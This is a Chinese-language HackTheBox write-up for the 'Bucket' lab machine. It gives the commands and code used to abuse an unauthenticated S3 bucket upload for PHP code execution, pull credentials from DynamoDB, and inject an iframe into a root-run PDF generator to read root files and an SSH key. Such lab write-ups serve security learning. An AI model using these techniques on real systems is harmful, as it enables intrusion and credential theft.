HackTheBox-Bucket

Name: Bucket
IP: 10.10.10.212
难度:中等-困难
image-20201124205301611

0x01 信息收集

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.129.25.54
Host is up (0.14s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2237.72 seconds

directory busting

访问http://10.129.25.54后实际上会被跳转到bucket.htb,在/etc/hosts将其绑定。

访问主页会有几张图片,那些图片的地址让我发现了s3的子域名和bucket的名字。

image-20201124210242133

s3.bucket.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[+] Url:            http://s3.bucket.htb
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/21 23:54:40 Starting gobuster
===============================================================
/health (Status: 200)
/shell (Status: 200)
/server-status (Status: 403)
===============================================================
2020/10/22 00:50:25 Finished

bucket.htb

扫不出什么东西

访问 /shell的话就会跳转到http://444af250749d:4566/shell/,但是访问`/shell/`的话就会跳转到一个`dynamodb`的`javascript shell`控制台。

image-20201123153012534

因为不了解dynamodb所以暂时略过次服务

访问/health结果是列出来有的服务,上面运行了s3dynamodb服务。

image-20201123155650732

访问dynamodb.bucket.htb跳转了到了bucket.htb

尝试理清s3是个什么东西

因为在这之前没有接触过云服务,并且不太了解S3 bucket是个什么东西,所以花了很多时间去看官方文档。

dynamodb是一个非关系型数据库,s3 就是亚马逊的一个云存储服务。Bucket 就是S3云存储服务的一个文件系统,像是目录的样子,是S3访问控制的基本单位。Object 对象,文件。 Keys键值,文件名,也是访问的标志。s3.bucket.htb 是托管bucket.htb图片的地方,而bucket.htb是提供服务的地方。

以这个靶机为例子的话就是

  • Bucket-Name : adserver

    有一个叫adserverbucket

    • images/bug.png Key-Name

    • index.html Key-Name

      这些键值的对象,也就是这些文件。

如果把这些概念都理清后,大致就很好做了(废话

所以要对bucket进行操作和查询的话,我们需要用到aws-cli或者是curl/浏览器

1
2
brew install aws-cli
apt install aws-cli

通过阅读官方api文档,bucket接受PUT/GET/HEAD/DELETE等等,我一开始是通过curl进行的操作,(因为一开始不太会用aws-cli。。

后来通过阅读帮助命令和aws-cli的官方文档来配置后就可以正常使用了

1
2
3
4
5
6
### 这里没有aws账号的话用官方文档给出的值就好了,不配置反而后面不好操作,不过如果了解DynamoDB数据库的话,不配置也是完全没问题的。
$ aws configure
AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Default region name [None]: us-west-2
Default output format [None]: json

--no-sign-request不进行验证(因为我们没有aws的凭证,并且目标环境的bucket未设置正确的acl,导致未授权访问),--endpoint-url入口点,因为aws服务是分地区入口点的,如果不设置这个,不管怎样,你都无法使用aws-cli来访问到目标的bucket

1
aws s3 ls s3://adserver/ --no-sign-request --endpoint-url http://s3.bucket.htb

image-20201123180408427

不使用aws-cli也是可以的,直接浏览器访问http://s3.bucket.htb/adserver/?将会列出该bucket下的所有objects

api文档里面只要请求根服务目录就能列出所有的bucket,但是在这靶机里面得请求/?xxxx/x

image-20201123162517350

1
curl -v http://s3.bucket.htb/adserver/?acl # 获取acl配置

0x02 漏洞利用

在阅读文档,并且知道这是个不正确配置的bucket之后,你应该知道怎么做了吧?

上传文件,将1.php上传到目标环境

1
curl -v 'http://s3.bucket.htb/adserver/1.php' -X PUT -d '文件内容'
1
aws s3 cp ./1.php s3://adserver/ --no-sign-request --endpoint-url http://s3.bucket.htb

上传或修改之后要过会才会生效并且修改网站原来的文件的话之后大概两分钟左右或者更快,网站就会恢复,并且恢复的话,上传的文件也会被删除.

image-20201123164622357

一开始不知道后端支持什么的脚本格式,先随便上传了一个包含phpinfo的php页面试试水,结果能正常解析执行,接下来就基本上成了。

image-20201125143225873

上传反向shell,这里建议用脚本进行操作。。我这里是写了个python脚本去访问shell,运气不好的话,可能会在上传文件到目标后,目标文件就刚好被清除了,并且加上网速的原因。。。所以写个脚本来请求好一点。

1
2
3
4
5
6
7
import requests

url='http://bucket.htb/a.php' # 你的反向shell地址

while True:
res=requests.get(url)
print(res.text)

image-20201124154412205

0x03 提权

直接wget了一个linpeas进行信息收集,发现了roy用户,并且该用户还属于sysadm组。但是没发现其他能利用的东西。除了知道aws就是docker起的服务,端口是4566,然后就是目标环境还有另外一个web服务。

image-20201125151726002

在roy用户家目录下有个project目录,这个目录下的db.php,透露了会用到DynamoDB这个数据库。。。

image-20201125152343129

于是又返回到了一开始发现的http://s3.bucket.htb/shell/中。。在查阅大量DynamoDB使用文档后,知道了该数据库可以被多种编程语言调用,并且是个无关系型数据库。。

web javascipt shell 给出的事例代码列出所有表,这查询有问题。。得点很多次才查的结果出来,估计是网络影响吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var dynamodb = new AWS.DynamoDB
({
//不设置这个会报错
dynamoDbCrc32: false,
//bucket入口点
endpoint: 'http://s3.bucket.htb'
});
var params = {
//这两个可选参数我直接删掉了。
//ExclusiveStartTableName: 'table_name',
//Limit: 0,
};
dynamodb.listTables(params, function(err, data) {
if (err) ppJson(err); // an error occurred
else ppJson(data); // successful response
});

image-20201124150638910

扫描users表下的所有数据,代码是谷歌来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var dynamodb = new AWS.DynamoDB
({
dynamoDbCrc32: false,
endpoint: 'http://s3.bucket.htb'
});


var tableName = "users";

var params = {
TableName: tableName,
Select: "ALL_ATTRIBUTES"
};


function doScan(response) {
if (response.error) ppJson(response.error); // an error occurred
else {
ppJson(response.data); // successful response

// More data. Keep calling scan.
if ('LastEvaluatedKey' in response.data) {
response.request.params.ExclusiveStartKey = response.data.LastEvaluatedKey;
dynamodb.scan(response.request.params)
.on('complete', doScan)
.send();
}
}
}
console.log("Starting a Scan of the table");
dynamodb.scan(params)
.on('complete', doScan)
.send();

可以发现user表下有些账号密码,,table_name是我自己瞎搞出来的。。一开始不是很懂这个数据库。

image-20201124145454674

刚好roy用户是sysadm组,直接尝试切换用户

image-20201125155210097

切换到了roy用户后,再执行了一次linpeas.sh信息收集脚本,也是没什么收获,不过roy用户能够进入/var/www/bucket-app目录,里面是8000端口web服务的目录,并且是root起的服务,感觉突破点就在这里了。

用ssh做了个端口转发

1
ssh -N -f -L 0.0.0.0:8023:127.0.0.1:8000 [email protected]

image-20201124162909445

分析源码

emmmm,没有思路。看看代码

image-20201124165138086

这段代码就做了几件事

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
require 'vendor/autoload.php'; # 包含autoload.php文件
use Aws\DynamoDb\DynamoDbClient; # DynamoDBClient 使用DynamoDb数据库
### 如果请求方式是POST型的,则检查有无携带action参数,并且该参数需要绝对等于(值和类型)get_alerts

if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
# 设置时区为纽约时间
date_default_timezone_set('America/New_York');
## 实列化DynamoDbClient对象。,大致就是连接到s3 DynamoDb 数据库
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);

## 调用DynamoDb的方法,大致就是扫描名为alerts的表,并且过滤 tilte= 和 :title,并将扫描出来的:title 替换为Ransomware
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));

## 遍历$iterator,并创建一个name变量,name的值为随机(1,10000).html,然后在files文件夹下创建一个以name变量值的文件名,内容为alerts表中的data属性
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}

# 执行pd4ml_demo.jar 生成一个result.pdf

passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
}

测试

为此,我阅读了DynamoDbphp-sdk的文档仿造着写了个简单的代码来生成一个moviess表进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
require '/var/www/bucket-app/vendor/autoload.php';
date_default_timezone_set('UTC');

use Aws\DynamoDb\Marshaler;
use Aws\DynamoDb\DynamoDbClient;

$sdk = new Aws\Sdk([
'region' => 'us-west-2',
'credentials' => false,
'endpoint' => 'http://localhost:4566',
'version' => 'latest'
]);


$dynamodb = $sdk->createDynamoDb();

$params = [
'TableName' => 'Moviess',
'KeySchema' => [
[
'AttributeName' => 'title',
'KeyType' => 'HASH'
]
],
'AttributeDefinitions' => [
[
'AttributeName' => 'title',
'AttributeType' => 'S'
],

],
'ProvisionedThroughput' => [
'ReadCapacityUnits' => 10,
'WriteCapacityUnits' => 10
]
];

try {
$result = $dynamodb->createTable($params);
echo 'Created table. Status: ' .
$result['TableDescription']['TableStatus'] ."\n";

} catch (DynamoDbException $e) {
echo "Unable to create table:\n";
echo $e->getMessage() . "\n";
}

也可以直接用aws-cli这个工具来创建表和列出。

1
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 --endpoint-url http://s3.bucket.htb/ --no-sign-request
1
aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/ --no-sign-request

image-20201124173251354

创建表成功。

1
aws dynamodb scan --table-name Moviess --endpoint-url http://s3.bucket.htb/ --no-sign-request

image-20201124173414901

添加内容,和data属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
require '/var/www/bucket-app/vendor/autoload.php';
date_default_timezone_set('UTC');

use Aws\DynamoDb\Marshaler;
use Aws\DynamoDb\DynamoDbClient;

$sdk = new Aws\Sdk([
'region' => 'us-west-2',
'credentials' => false,
'endpoint' => 'http://localhost:4566',
'version' => 'latest'
]);

$dynamodb = $sdk->createDynamoDb();
$marshaler = new Marshaler();
$tableName = 'Moviess';
$title = 'Ransomware';

$item = $marshaler->marshalJson('
{
"title": "' . $title . '",
"data":"123123"
}
');

$params = [
'TableName' => $tableName,
'Item' => $item
];

try {
$result = $dynamodb->putItem($params);
echo "Added item:$title\n";

} catch (DynamoDbException $e) {
echo "Unable to add item:\n";
echo $e->getMessage() . "\n";
}

?>

图用的是一开始没添加到属性的。

1
aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data" : {"S":"123123"}}' --return-consumed-capacity TOTAL --endpoint-url http://127.0.0.1:4556/ --no-sign-request
1
aws dynamodb scan --table-name Moviess --endpoint-url http://s3.bucket.htb/ --no-sign-request

image-20201124174601399

因为是在命令行测试,所以把检查post的条件判断给去掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
require '/var/www/bucket-app/vendor/autoload.php';

use Aws\DynamoDb\DynamoDbClient;
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'region' => 'us-east-1',
'version' => 'latest',
'credentials' => false,
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'Moviess',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('./'.$name,$item["data"]);
}
?>

重新运行代码895.html被生成出来了,然后内容就是data属性的123123.

image-20201124175940369

实战

上面的测试代码可以接着拿来用,创建表的代码和添加内容的代码,改下表名和data属性的值就能够直接拿来利用了。

接下来就是实验是否能生成了,为什么要一次把这命令都执行了 ?因为手打或者复制肯定赶不上被服务器删除的速度。。。

1
php t-a.php;php t-a5.php;curl -X POST 'http://127.0.0.1:8000' -d 'action=get_alerts' -v;ls -la /var/www/bucket-app/files/;

image-20201124185406552

可以,果然生成在files下生成了两个文件。但是接下来要怎么用来提权呢

这里一开始想了很多,想着能不能DynamoDb数据库能不能像mysql数据库那样执行load_file(),into out file来读写文件,但是好像不行。也想着html能不能读取本地文件。。。(这个也不行,因为读取的是客户端(浏览器)的本地文件。。最后想到了还有生产一个pdf文件,试着搜了一下pdf读取任意文件。。结果看到了这篇文章:奇思妙想 | 在PDF中构造XSS读取本地文件

说试就试,将添加字段的代码,data属性的值修改成

1
2
3
4
5
6
$item = $marshaler->marshalJson('
{
"title": "' . $title . '",
"data":"<iframe src='/root/root.txt'></iframe>"
}
');

再执行

1
php t-a.php;php t-a5.php;curl -X POST 'http://127.0.0.1:8000' -d 'action=get_alerts' -v;ls -la /var/www/bucket-app/files/;

快速访问result.pdf,root.txt的图就不放了,丢张读/root/.ssh/id_rsa的吧。修复格式后。提权成功。

image-20201124203934691

image-20201124204025045

0x04总结

这是我第一次接触云服务,通过阅读文档学会了很多关于bucket的操作,还有DynamoDb基本的增删改查,甚至知道了pdf能被这么用。。

参考链接: